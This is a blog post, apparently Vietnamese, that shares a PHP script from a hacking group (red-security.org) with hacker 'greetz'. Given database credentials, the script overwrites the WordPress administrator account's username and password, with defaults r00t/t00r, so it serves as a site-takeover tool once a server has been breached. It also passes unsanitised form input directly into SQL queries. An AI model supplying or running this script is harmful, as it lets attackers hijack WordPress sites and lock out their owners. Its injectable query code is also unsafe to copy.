J2TEAM Security: A must-have extension for Chrome users. Install now!

Wordpress Admin Pass Edit Script

Code:
<?php
/*
Hello this Open Source PHP By Very Secret
*/
?>

<title>PHP Script ; Change Username & Password</title>
<html>
<style>
input, select, text {
background-color: white;
border-style: white;
border-width: 1px;
font-family: verdana, arial, sans-serif;
font-size: 11px;
color: green;
padding: 0px;
</style>
<head>

<table id="table2" style="border-collapse: collapse;" bordercolordark="#666666" bordercolorlight="#c0c0c0" width="100%" 

bgcolor="black" border="1" cellpadding="5" cellspacing="0">

  <tbody>
  <tr>
    <td style="font-size: 11px; color: rgb(217, 217, 217); verdana, arial, sans-serif" valign="top" width="100%">
      <center><b>

</style>
<head>

<div align="center">
<center><p><font size="7" color="red">#...WwW.red-security.org...#</center></p>
<center><p><font size="6" color="white">#..red-security.org..#</center></p>
<center>
<center><p><font size="5" color="white"><br>S.Greetz 2 : > Sup3r-Crystal , Tnt-r00t , KtraZ ,AL-QaTaRi</br></center></p>

|<a href="http://WwW.red-security.org">WwW.red-security.org</a> | <a href="http://red-security.org</a> |<br>
<u>PHP Script To Change username & Password 4 > wordpress</u>

</table>
</center>
<br></br>

<center>



</head>
    <body bgcolor="black" text="green">
       <div align="center">  
</div> 
      <?
if(empty($_POST['pwd'])){
echo "<FORM method=\"POST\">
host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\">
database : <INPUT size=\"15\" value=\"wp-\" name=\"database\" type=\"text\"><br>
username : <INPUT size=\"15\" value=\"wp-\" name=\"username\" type=\"text\">
password : <INPUT size=\"15\" value=\"**\" name=\"password\" type=\"password\"><br>
      <br>
Set A New username 4 Login : <INPUT name=\"admin\" size=\"15\" value=\"r00t\"><br>
Set A New password 4 Login : <INPUT name=\"pwd\" size=\"15\" value=\"t00r\"><br>

<INPUT value=\"change\" name=\"send\" type=\"submit\">
</FORM>";
}else{
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$pwd       = $_POST['pwd'];
$admin     = $_POST['admin'];


         @mysql_connect($localhost,$username,$password) or die(mysql_error());
         @mysql_select_db($database) or die(mysql_error());

$hash = crypt($pwd);

$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());

if($a4s){
echo "<b>root@secure:# ~ Success :now use a new user and pass 2 login in the admin panel</b> ";
}

}

?>
<br></br>
<br></br>
<br></br>
<br></br>
<u>Cod3d By Very Secret</u>
Leader at J2TEAM. Website: https://j2team.dev/

Đăng nhận xét

Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!